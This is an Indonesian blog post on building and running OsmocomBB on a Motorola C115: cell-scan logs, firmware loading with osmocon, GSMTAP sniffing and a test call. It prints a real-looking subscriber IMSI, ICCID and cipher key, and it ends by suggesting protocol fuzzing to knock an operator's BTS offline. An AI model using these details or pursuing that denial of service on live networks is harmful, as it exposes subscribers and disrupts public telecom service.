PM MEAS: ARFCN=849, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=850, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=851, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=852, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=853, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=854, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=855, 41   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=856, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=857, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=858, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=859, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=860, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=861, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=862, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=863, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=864, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=865, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=866, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=867, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=868, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=869, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=870, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=871, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=872, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=873, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=874, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=875, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=876, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=877, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=878, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=879, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=880, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=881, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=882, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=883, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=884, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=885, 43   dBm at baseband, -94  dBm at RF
L1CTL_RESET_REQ: FULL!L1CTL_PM_REQ start=955 end=1023
PM MEAS: ARFCN=955, 0    dBm at baseband, -138 dBm at RF
PM MEAS: ARFCN=955, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=956, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=957, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=958, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=959, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=960, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=961, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=962, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=963, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=964, 41   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=965, 44   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=966, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=967, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=968, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=969, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=970, 47   dBm at baseband, -90  dBm at RF
PM MEAS: ARFCN=971, 47   dBm at baseband, -90  dBm at RF
PM MEAS: ARFCN=972, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=973, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=974, 44   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=975, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=976, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=977, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=978, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=979, 44   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=980, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=981, 46   dBm at baseband, -91  dBm at RF
PM MEAS: ARFCN=982, 46   dBm at baseband, -91  dBm at RF
PM MEAS: ARFCN=983, 47   dBm at baseband, -91  dBm at RF
PM MEAS: ARFCN=984, 47   dBm at baseband, -90  dBm at RF
PM MEAS: ARFCN=985, 47   dBm at baseband, -90  dBm at RF
PM MEAS: ARFCN=986, 47   dBm at baseband, -90  dBm at RF
PM MEAS: ARFCN=987, 46   dBm at baseband, -91  dBm at RF
PM MEAS: ARFCN=988, 47   dBm at baseband, -90  dBm at RF
PM MEAS: ARFCN=989, 48   dBm at baseband, -89  dBm at RF
PM MEAS: ARFCN=990, 48   dBm at baseband, -89  dBm at RF
PM MEAS: ARFCN=991, 49   dBm at baseband, -88  dBm at RF
PM MEAS: ARFCN=992, 48   dBm at baseband, -89  dBm at RF
PM MEAS: ARFCN=993, 49   dBm at baseband, -88  dBm at RF
PM MEAS: ARFCN=994, 50   dBm at baseband, -88  dBm at RF
PM MEAS: ARFCN=995, 48   dBm at baseband, -89  dBm at RF
PM MEAS: ARFCN=996, 48   dBm at baseband, -89  dBm at RF
PM MEAS: ARFCN=997, 50   dBm at baseband, -87  dBm at RF
PM MEAS: ARFCN=998, 49   dBm at baseband, -88  dBm at RF
PM MEAS: ARFCN=999, 48   dBm at baseband, -89  dBm at RF
PM MEAS: ARFCN=1000, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=1001, 52   dBm at baseband, -85  dBm at RF
PM MEAS: ARFCN=1002, 49   dBm at baseband, -88  dBm at RF
PM MEAS: ARFCN=1003, 47   dBm at baseband, -91  dBm at RF
PM MEAS: ARFCN=1004, 47   dBm at baseband, -90  dBm at RF
PM MEAS: ARFCN=1005, 47   dBm at baseband, -90  dBm at RF
PM MEAS: ARFCN=1006, 46   dBm at baseband, -91  dBm at RF
PM MEAS: ARFCN=1007, 44   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=1008, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=1009, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=1010, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=1011, 47   dBm at baseband, -90  dBm at RF
PM MEAS: ARFCN=1012, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=1013, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=1014, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=1015, 58   dBm at baseband, -79  dBm at RF
PM MEAS: ARFCN=1016, 48   dBm at baseband, -89  dBm at RF
PM MEAS: ARFCN=1017, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=1018, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=1019, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=1020, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=1021, 46   dBm at baseband, -91  dBm at RF
PM MEAS: ARFCN=1022, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=1023, 55   dBm at baseband, -82  dBm at RF
L1CTL_RESET_REQ: FULL!L1CTL_FBSB_REQ (arfcn=679, flags=0x7)
Starting FCCH RecognitionL1CTL_RESET_REQ: FULL!L1CTL_FBSB_REQ (arfcn=102, flags=0x7)
Starting FCCH RecognitionFB0 (2054849:1): TOA=  912, Power= -70dBm, Angle=19773Hz
FB0 (2054859:8): TOA= 9648, Power= -67dBm, Angle=-2900Hz
FB1 (2054869:8): TOA= 9627, Power= -67dBm, Angle=  494Hz
  fn_offset=2054868 (fn=2054869 + attempt=8 + ntdma = 7)m  delay=9 (fn_offset=2054868 + 11 - fn=2054869 - 1
  scheduling next FB/SB detection task with delay 9
=> DSP reports FB in bit that is 1726400627 bits in the future?!?
Synchronize_TDMA
LOST 3150!
SB1 (1394094:1): TOA=   28, Power= -68dBm, Angle=  305Hz
=> SB 0x01953e73: BSIC=28 fn=2202517(1661/ 5/31) qbits=20
Synchronize_TDMA
=>FB @ FNR 1394093 fn_offset=2202517 qbits=4928
LOST 1911!
nb_cmd(0) and rxnb.msg != NULLL1CTL_PARAM_REQ (ta=0, tx_power=0)
L1CTL_RACH_REQ (ra=0xe7, offset=0 combined=0)

Jika dilihat lagi pada console dimana aplikasi cell_log berjalan, maka kita dapat melihat summary dari proses sinkronisasi pada salah satu cell BTS.

mrs@infosec-id:~/Trunk/GIT/osmocombb-sylvain/src/host/layer23/src/misc
$ sudo ./cell_log
Password:
Copyright (C) 2010 Andreas Eversberg

License GPLv2+: GNU GPL version 2 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Failed to connect to '/tmp/osmocom_sap'.
Failed during sap_open(), no SIM reader
 cell_log.c:803 Scanner initialized
Mobile initialized, please start phone now!
 cell_log.c:368 Measure from 0 to 124
 cell_log.c:368 Measure from 512 to 885
 cell_log.c:368 Measure from 955 to 1023
 cell_log.c:359 Measurement done
 cell_log.c:341 Sync ARFCN 679 (rxlev -63, 569 syncs left)
 cell_log.c:341 Sync ARFCN 102 (rxlev -69, 568 syncs left)
 cell_log.c:191 Cell: ARFCN=102 MCC=427 MNC=01 (Qatar, Qatarnet)
 cell_log.c:341 Sync ARFCN 112 (rxlev -75, 567 syncs left)

Pengatahuan dasar tentang ini dapat dibaca dari GSM Switching, Services and Protocols – John Wiley Sons, yang merupakan salah satu pengantar bagus untuk teknologi GSM.

Playing With OsmocommBB

Posted: 26th June 2011 by mrs in Blog
Tags:

Apa itu OsmocomBB?! berikut ini penjelasan singkat mengenai project tersebut dari website resminya,

OsmocomBB is an Free Software / Open Source GSM Baseband software implementation.
It intends to completely replace the need for a proprietary GSM baseband software, such as:

drivers for the GSM analog and digital baseband (integrated and external) peripherals
the GSM phone-side protocol stack, from layer 1 up to layer 3
In short: By using OsmocomBB on a compatible phone, you are able to make and receive phone calls, send and receive SMS, etc. based on Free Software only.

Website resmi OsmocomBB memberikan penjelasan yang cukup jelas mengenai hal-hal apa saja yang dibutuhkan untuk mulai bermain dengan project tersebut. Saya menggunakan OSX, setelah melakukan instalasi toolchain yang dibutuhkan maka bisa dimulai proses kompilasi hingga melakukan test call dari handphone motorola C115 dengan menggunakan OsmocomBB dan simcard dari operator Qtel (Qatar).

Sebagaimana tertulis dalam wiki berikut, membaca simcard tidak di support oleh master branch OsmocomBB. Support untuk membaca simcard bisa diambil dari test branch milik sylvain, membaca simcard disini berararti membaca informasi simcard dari operator seperti IMSI (International Mobile Subscriber Identity), Ki (key untuk enkripsi dengan operator), ICCID untuk kemudian di proses agar bisa berinteraksi dengan network suatu operator.

$ git clone git://git.osmocom.org/osmocom-bb.git osmocombb-sylvain
Cloning into osmocombb-sylvain...
remote: Counting objects: 12787, done.
remote: Compressing objects: 100% (3786/3786), done.
remote: Total 12787 (delta 9238), reused 11734 (delta 8467)
Receiving objects: 100% (12787/12787), 2.16 MiB | 53 KiB/s, done.
Resolving deltas: 100% (9238/9238), done.
mrs@infosec-id:~/Trunk/GIT
$ cd osmocombb-sylvain/
mrs@infosec-id:~/Trunk/GIT/osmocombb-sylvain
$ git checkout -b testing remotes/origin/sylvain/testing
Branch testing set up to track remote branch sylvain/testing from origin.
Switched to a new branch 'testing'

Langkah selanjutnya adalah mengaktifkan feature TX sehingga OsmocomBB dapat digunakan untuk melakukan data transmisi (membuka koneksi ke network operator), yaitu dengan menghilangkan tanda pagar dari CFLAGS += -DCONFIG_TX_ENABLE yang terdapat pada Makefile firmware,

mrs@infosec-id:~/Trunk/GIT/osmocombb-sylvain
$ cd src/target
target/     target_dsp/
mrs@infosec-id:~/Trunk/GIT/osmocombb-sylvain
$ cd src/target/firmware/
mrs@infosec-id:~/Trunk/GIT/osmocombb-sylvain/src/target/firmware
$ vi Makefile

Selebihnya tinggal melakukan proses kompilasi (pastikan toolchain untuk arch ARM sudah terinstalasi dengan baik pada sistem yang digunakan) dari folder src. Proses kompilasi ini akan menghasilkan aplikasi osmocon, firmware osmocombb, mobile application (layer23).

Adakalanya proses kompilasi mengalami error. Berikut ini salah satu contoh error nya pada mesin yang saya gunakan (Mac OSX),

checking for ranlib... ranlib
./configure: line 3461: syntax error near unexpected token `LIBOSMOCORE,'
./configure: line 3461: `PKG_CHECK_MODULES(LIBOSMOCORE, libosmocore)'
make: *** [host/layer23/Makefile] Error 2

Apabila muncul error diatas, maka berikut ini langkah yang saya lakukan,

cd host/layer23
aclocal -I /opt/local/share/aclocal
autoheader
automake
autoconf

Tentunya masalah kompilasi adalah masalah yang umum ditemukan, dan proses troubleshootingnya setiap kondisi / mesin akan berbeda-beda.

Firmware

Firmware OsmocomBB merupakan layer1 yang nantinya akan di download kedalam target dan tergantung dari target yang kita gunakan. Untuk mengetahui target-target apa saja yang di support dan firmware model apa yang kompatible dapat membaca pada wiki osmocombb, saya sendiri menggunakan target device Motorola C115 yang kompatible dengan firmware board compal e88. Firmware ini nantinya akan menjadi software yang melakukan beragam low-level stuff, termasuk ‘mendengarkan’ frekuensi dan memberikan instruksi kepada hardware C115 untuk melakukan transmisi data.

Osmocon

Firmware tersebut dikirimkan melalui host yang kita gunakan (mis: laptop) dengan bantuan aplikasi osmocon. Osmocon mengatur proses upload dari mesin host (laptop) ke target (handphone), upload menggunakan jalur kabel USB-to-Serial. Untuk OSX, butuh di install dulu driver PL2303 USB to Serial yang dapat didownload dari sini. Dengan kata lain, osmocon akan mengatur firmware dari mesin host yang kita gunakan, dan juga membuka UNIX socket /tmp/osmocon_l2 serta /tmp/osmocon_loader yang nantinya digunakan oleh aplikasi mobile (layer2 dan layer3) untuk berkomunikasi dengan firmware. Informasi lebih detil tentang osmocon dapat dibaca dari sini.

Berikut ini contoh osmocon menjalankan firmware “Hello, World”. Firmware ini hanya menunjukan bahwa melalui osmocon kita sudah dapat melakukan “code execution” pada target handphone berupa penulisan pada layar handphone.

mrs@infosec-id:~/Trunk/GIT/osmocombb-sylvain/src/host/osmocon
$ ./osmocon -p /dev/tty.usbserial -m c123xor ../../target/firmware/board/compal_e88/hello_world.compalram.bin
got 6 bytes from modem, data looks like: 00 00 00 00 00 00  ......
got 1 bytes from modem, data looks like: 2f  /
got 1 bytes from modem, data looks like: 81  .
got 1 bytes from modem, data looks like: 1b  .
got 1 bytes from modem, data looks like: f6  .
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 41  A
got 1 bytes from modem, data looks like: 01  .
got 1 bytes from modem, data looks like: 40  @
Received PROMPT1 from phone, responding with CMD
read_file(../../target/firmware/board/compal_e88/hello_world.compalram.bin): file_size=18536, hdr_len=4, dnload_len=18543
got 1 bytes from modem, data looks like: 1b  .
got 1 bytes from modem, data looks like: f6  .
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 41  A
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 43  C
Received PROMPT2 from phone, starting download
handle_write(): 1024 bytes (1024/18543)
handle_write(): 1024 bytes (2048/18543)
handle_write(): 1024 bytes (3072/18543)
handle_write(): 1024 bytes (4096/18543)
handle_write(): 1024 bytes (5120/18543)
handle_write(): 1024 bytes (6144/18543)
handle_write(): 1024 bytes (7168/18543)
handle_write(): 1024 bytes (8192/18543)
handle_write(): 1024 bytes (9216/18543)
handle_write(): 1024 bytes (10240/18543)
handle_write(): 1024 bytes (11264/18543)
handle_write(): 1024 bytes (12288/18543)
handle_write(): 1024 bytes (13312/18543)
handle_write(): 1024 bytes (14336/18543)
handle_write(): 1024 bytes (15360/18543)
handle_write(): 1024 bytes (16384/18543)
handle_write(): 1024 bytes (17408/18543)
handle_write(): 1024 bytes (18432/18543)
handle_write(): 111 bytes (18543/18543)
handle_write(): finished
got 1 bytes from modem, data looks like: 1b  .
got 1 bytes from modem, data looks like: f6  .
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 41  A
got 1 bytes from modem, data looks like: 03  .
got 1 bytes from modem, data looks like: 42  B
Received DOWNLOAD ACK from phone, your code is running now!


OSMOCOM Hello World (revision osmocon_v0.0.0-906-g5589a6b-modified)
======================================================================
Device ID code: 0xb4fb
Device Version code: 0x0000
ARM ID code: 0xfff3
cDSP ID code: 0x0128
Die ID code: f5161c1cb0038f7c
======================================================================
REG_DPLL=0x2413
CNTL_ARM_CLK=0xf0a1
CNTL_CLK=0xff91
CNTL_RST=0xfff3
CNTL_ARM_DIV=0xfff9
==============================================

Dan berikut ini hasilnya,

Mobile Application (Layer 2 & Layer 3)

Mobile application adalah aplikasi untuk layer2 dan layer3, aplikasi ini yang mengatur high-level interaction dengan network suatu operator. Misalnya: dalam proses location update (locup), mobile application akan mengatur proses pembacaan data dari simcard yang ada didalam handphone untuk kemudian dikirimkan ke network operator sebagai proses authentification dengan HLR (Home Location Register). Mobile application juga yang akan mengatur proses call. Mobile application akan menggunakan unix socket yang disediakan oleh osmocon, dan juga membuka port 4247 pada mesin host. Port 4247 nantinya digunakan untuk interaksi antara user dengan mobile application melalui telnet. User dapat memasukan beragam command seperti membaca simcard, menampilkan network yang available dan dapat dibaca oleh osmocombb, hingga melakukan proses call. Mobile application juga akan mengaktifkan proses GSMTAP yang mengirimkan data aliran paket GSM pada localhost port 4729. Untuk dapat membaca aliran data tersebut maka kita bisa memanfaatkan netcat untuk membuka / listening pada port 4729, dan mengaktifkan wireshark yang sudah support protocol GSMTAP untuk listening pada port 4729. Saya menemukan bahwa mobile application saat ini sudah secara otomatis membuka / listening port 4729 sehingga netcat tidak dibutuhkan, namun jika ada yang menemukan pesan error seperti “connection refused to write gsmtap” maka bisa menggunakan netcat.

Berikut ini contoh sniffing paket menggunakan ethereal yang dikonfigurasi untuk menampilkan aliran data dari port GSMTAP (4729),

Test Call

Berikut ini proses “Test Call” menggunakan OsmocomBB pada simcard Qtel (Qatar). Saya tidak melakukan flashing, sehingga upload firmware yang dilakukan bersifat sementara dan tidak menghapus firmware original dari device motorola tersebut.

mrs@infosec-id:~/Trunk/GIT/osmocombb-sylvain/src/host/osmocon
$ ./osmocon -p /dev/tty.usbserial -m c123xor ../../target/firmware/board/compal_e88/layer1.compalram.bin
got 7 bytes from modem, data looks like: 81 1b f6 02 00 41 01  .....A.
got 1 bytes from modem, data looks like: 40  @
Received PROMPT1 from phone, responding with CMD
read_file(../../target/firmware/board/compal_e88/layer1.compalram.bin): file_size=50276, hdr_len=4, dnload_len=50283
got 1 bytes from modem, data looks like: 66  f
got 1 bytes from modem, data looks like: 74  t
got 1 bytes from modem, data looks like: 6d  m
got 1 bytes from modem, data looks like: 74  t
got 1 bytes from modem, data looks like: 6f  o
got 1 bytes from modem, data looks like: 6f  o
got 1 bytes from modem, data looks like: 6c  l
Received FTMTOOL from phone, ramloader has aborted
got 1 bytes from modem, data looks like: 65  e
got 1 bytes from modem, data looks like: 72  r
got 1 bytes from modem, data looks like: 72  r
got 1 bytes from modem, data looks like: 6f  o
got 1 bytes from modem, data looks like: 72  r
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 2f  /
got 1 bytes from modem, data looks like: 81  .
got 1 bytes from modem, data looks like: 1b  .
got 1 bytes from modem, data looks like: f6  .
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 41  A
got 1 bytes from modem, data looks like: 01  .
got 1 bytes from modem, data looks like: 40  @
Received PROMPT1 from phone, responding with CMD
read_file(../../target/firmware/board/compal_e88/layer1.compalram.bin): file_size=50276, hdr_len=4, dnload_len=50283
got 1 bytes from modem, data looks like: 1b  .
got 1 bytes from modem, data looks like: f6  .
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 41  A
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 43  C
Received PROMPT2 from phone, starting download
handle_write(): 1023 bytes (1023/50283)
handle_write(): 1024 bytes (2047/50283)
handle_write(): 1024 bytes (3071/50283)
handle_write(): 1024 bytes (4095/50283)
handle_write(): 1024 bytes (5119/50283)
handle_write(): 1024 bytes (6143/50283)
handle_write(): 1024 bytes (7167/50283)
handle_write(): 1024 bytes (8191/50283)
handle_write(): 1024 bytes (9215/50283)
handle_write(): 1024 bytes (10239/50283)
handle_write(): 1024 bytes (11263/50283)
handle_write(): 1024 bytes (12287/50283)
handle_write(): 1024 bytes (13311/50283)
handle_write(): 1024 bytes (14335/50283)
handle_write(): 1024 bytes (15359/50283)
handle_write(): 1024 bytes (16383/50283)
handle_write(): 1024 bytes (17407/50283)
handle_write(): 1024 bytes (18431/50283)
handle_write(): 1024 bytes (19455/50283)
handle_write(): 1024 bytes (20479/50283)
handle_write(): 1024 bytes (21503/50283)
handle_write(): 1024 bytes (22527/50283)
handle_write(): 1024 bytes (23551/50283)
handle_write(): 1024 bytes (24575/50283)
handle_write(): 1024 bytes (25599/50283)
handle_write(): 1024 bytes (26623/50283)
handle_write(): 1024 bytes (27647/50283)
handle_write(): 1024 bytes (28671/50283)
handle_write(): 1024 bytes (29695/50283)
handle_write(): 1024 bytes (30719/50283)
handle_write(): 1024 bytes (31743/50283)
handle_write(): 1024 bytes (32767/50283)
handle_write(): 1024 bytes (33791/50283)
handle_write(): 1024 bytes (34815/50283)
handle_write(): 1024 bytes (35839/50283)
handle_write(): 1024 bytes (36863/50283)
handle_write(): 1024 bytes (37887/50283)
handle_write(): 1024 bytes (38911/50283)
handle_write(): 1024 bytes (39935/50283)
handle_write(): 1024 bytes (40959/50283)
handle_write(): 1024 bytes (41983/50283)
handle_write(): 1024 bytes (43007/50283)
handle_write(): 1024 bytes (44031/50283)
handle_write(): 1024 bytes (45055/50283)
handle_write(): 1024 bytes (46079/50283)
handle_write(): 1024 bytes (47103/50283)
handle_write(): 1024 bytes (48127/50283)
handle_write(): 1024 bytes (49151/50283)
handle_write(): 1024 bytes (50175/50283)
handle_write(): 108 bytes (50283/50283)
handle_write(): finished
got 1 bytes from modem, data looks like: 1b  .
got 1 bytes from modem, data looks like: f6  .
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 41  A
got 1 bytes from modem, data looks like: 03  .
got 1 bytes from modem, data looks like: 42  B
Received DOWNLOAD ACK from phone, your code is running now!


OSMOCOM Layer 1 (revision osmocon_v0.0.0-906-g5589a6b-modified)
======================================================================
Device ID code: 0xb4fb
Device Version code: 0x0000
ARM ID code: 0xfff3
cDSP ID code: 0x0128
Die ID code: f5161c1cb0038f7c
======================================================================
REG_DPLL=0x2413
CNTL_ARM_CLK=0xf0a1
CNTL_CLK=0xff91
CNTL_RST=0xfff3
CNTL_ARM_DIV=0xfff9
======================================================================
Power up simcard:
Assert DSP into Reset
Releasing DSP from Reset
Setting some dsp_api.ndb values
Setting API NDB parameters
DSP Download Status: 0x0001
DSP API Version: 0x0000 0x0000
Finishing download phase
DSP Download Status: 0x0002
DSP API Version: 0x3606 0x0000
LOST 998!

Seringkali proses upload firmware tidak berjalan dengan mulus. Untuk itu bisa dilakukan langkah-langkah seperti:

1. Cabut batere dan ulangi
2. Start handphone sehingga masuk ke firmware original nya, kemudian matikan, dan ulangi proses upload firmware menggunakan osmocon.
3. Cabut kabel USB, biarkan sesaat, kemudian masukan kembali dan tunggu hingga terdeteksi oleh sistem operasi. Dan ulangi osmocon.

Proses upload dapat di-trigger / dimulai dengan menekan tombol power pada handphone.

Berikut ini salah satu hasil tampilan dari mobile application (dengan telnet ke localhost port 4247) untuk network Qtel,

Dan berikut ini adalah salah satu ‘dump’ output dari mobile application. Kita bisa melihat bahwa firmware dapat ‘mendengarkan’ aliran data antar beragam device disekitarnya dengan BTS dari operator. Pada gambar dibawah terlihat aktivitas PAGING REQUEST.

Seperti yang telah disampaikan sebelumnya, mobile application akan menggunakan GSMTAP untuk melempar aliran paket data GSM dan dapat kita analisis menggunakan wireshark (filter port 4729) yang telah support protocol GSMTAP. Berikut ini contoh tampilan dari wireshark yang membaca aktivitas PAGING REQUEST diatas.

Dan tentu saja, kita juga dapat melihat aktivitas high-level lainnya seperti proses LOCATION UPDATE. Pada tahap ini kita dapat melakukan troubleshooting seandainya terjadi masalah location update misal nya, dan guess what?inilah salah satu bentuk aktivitas troubleshooting yang dilakukan oleh engineer-engineer telekomunikasi :) .

Berikut ini potongan mobile application ketika saya melakukan test call beberapa waktu yang lalu menggunakan simcard indosat, console yang diberikan mirip ketika kita berinteraksi dengan console mode perangkat cisco,

$ telnet localhost 4247
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying fe80::1...
telnet: connect to address fe80::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Welcome to the OpenBSC Control interface
OsmocomBB> en
OsmocomBB# clear
% Unknown command.
OsmocomBB# help
This VTY provides advanced help features.  When you need help,
anytime at the command line please press '?'.

If nothing matches, the help list will be empty and you must backup
 until entering a '?' shows the available options.
Two styles of help are provided:
1. Full help is available when you are ready to enter a
command argument (e.g. 'show ?') and describes each possible
argument.
2. Partial help is provided when an abbreviated argument is entered
   and you want to know what arguments match the input
   (e.g. 'show me?'.)

OsmocomBB#
  exit       Exit current mode and down to previous mode
  help       Description of the interactive help system
  list       Print command list
  write      Write running configuration to memory, network, or terminal
  show       Show running system information
  disable    Turn off privileged mode command
  configure  Configuration from vty interface
  copy       Copy configuration
  terminal   Set terminal line parameters
  echo       Echo a message back to the vty
  who        Display who is on vty
  monitor    Monitor...
  no         Negate a command or set its defaults
  off        Turn mobiles off (shutdown) and exit
  sim        SIM actions
  network    Network ...
  call       Make a call
OsmocomBB# sim
  testcard     Insert test card
  reader       Select SIM from reader
  remove       Remove SIM card
  pin          Enter PIN for SIM card
  disable-pin  Disable PIN of SIM card
  enable-pin   Enable PIN of SIM card
  change-pin   Change PIN of SIM card
  unblock-pin  Change PIN of SIM card
  lai          Change LAI of SIM card
OsmocomBB# show
  running-config  running configuration
  startup-config  Contentes of startup configuration
  version         Displays program version
  history         Display the session command history
  ms              Display available MS entities
  subscriber      Display information about subscriber
  support         Display information about MS support
  cell            Display information about received cells
  ba              Display information about band allocations
  forbidden       Display information about forbidden cells / networks
OsmocomBB# show subscriber
  [MS_NAME]  Name of MS (see "show ms")
OsmocomBB# show subscriber 1
Mobile Subscriber of MS '1':
 IMSI: 510019362330134
 ICCID: 89620160000614761992
 Service Provider Name: INDOSAT
 Status: U1_UPDATED  IMSI attached  TSMI 0xac0942e3
         LAI: MCC 510  MNC 01  LAC 0x141e  (Indonesia, INDOSAT)
 Key: sequence 0  bb 86 10 c2 97 e9 ec 00
 Registered PLMN: MCC 510  MNC 01  (Indonesia, INDOSAT)
 Access barred cells: no
 Access classes: C4
 List of preferred PLMNs:
        MCC    |MNC
        -------+-------
        510    |01        (Indonesia, INDOSAT)
        525    |05        (Singapore, StarHub)
        454    |03        (Hong Kong, 3 (3G))
        454    |04        (Hong Kong, 3 DualBand (2G))
        440    |10        (Japan, NTT docomo)
        466    |01        (Taiwan, FarEasTone)
        404    |11        (India, Vodafone IN)
        515    |03        (Philippines, Smart)
        450    |08        (South Korea, KT SHOW)
        510    |21        (Indonesia, IM3)
        455    |03        (Macau, 3)
        404    |27        (India, Vodafone IN)
        404    |30        (India, Vodafone IN)
        404    |20        (India, Vodafone IN)
        404    |05        (India, Vodafone IN)
        404    |68        (India, DOLPHIN)
        404    |69        (India, DOLPHIN)
        450    |02        (South Korea, KT)
OsmocomBB# call
  MS_NAME  Name of MS (see "show ms")
OsmocomBB# call 1
  NUMBER     Phone number to call (Use digits '0123456789*#abc', and '+' to dial international)
  emergency  Make an emergency call
  answer     Answer an incomming call
  hangup     Hangup a call
  hold       Hold current active call
  retrieve   Retrieve call on hold
  dtmf       One or more DTMF digits to transmit
OsmocomBB# call 1 081218602xxx
OsmocomBB#
% (MS 1)
% Call is proceeding

% (MS 1)
% Call is alerting

% (MS 1)
% Call is answered

% (MS 1)
% Call: Remote hangs up

So, mungkin pada tahap ini setiap orang akan mulai menyadari benefit dari project OsmocomBB. Diantaranya adalah seseorang dapat berinteraksi dan mempelajari banyak sekali ilmu telekomunikasi hanya bermodalkan handphone seperti motorola C115 yang harganya sekitar Rp.150, 000. Dan project OsmocomBB ini merupakan project opensource, sehingga setiap orang bisa melihat kode-kode didalamnya, dan tentu saja…dapat di modifikasi sesuai kebutuhan atau bahkan berkontribusi untuk project OsmocomBB seperti menambahkan kode-kode untuk mobile application beragam feature seperti GPRS, SMS, dsb.

Untuk security community?! ini adalah jalan masuk, mungkin dengan beragam metode fuzzer pada protokol transmisi maka seseorang dapat membuat ‘Hang’ ataupun ‘Restart’ BTS suatu operator dan menyebabkan DoS (Denial Of Service)?!

Gud Lak!

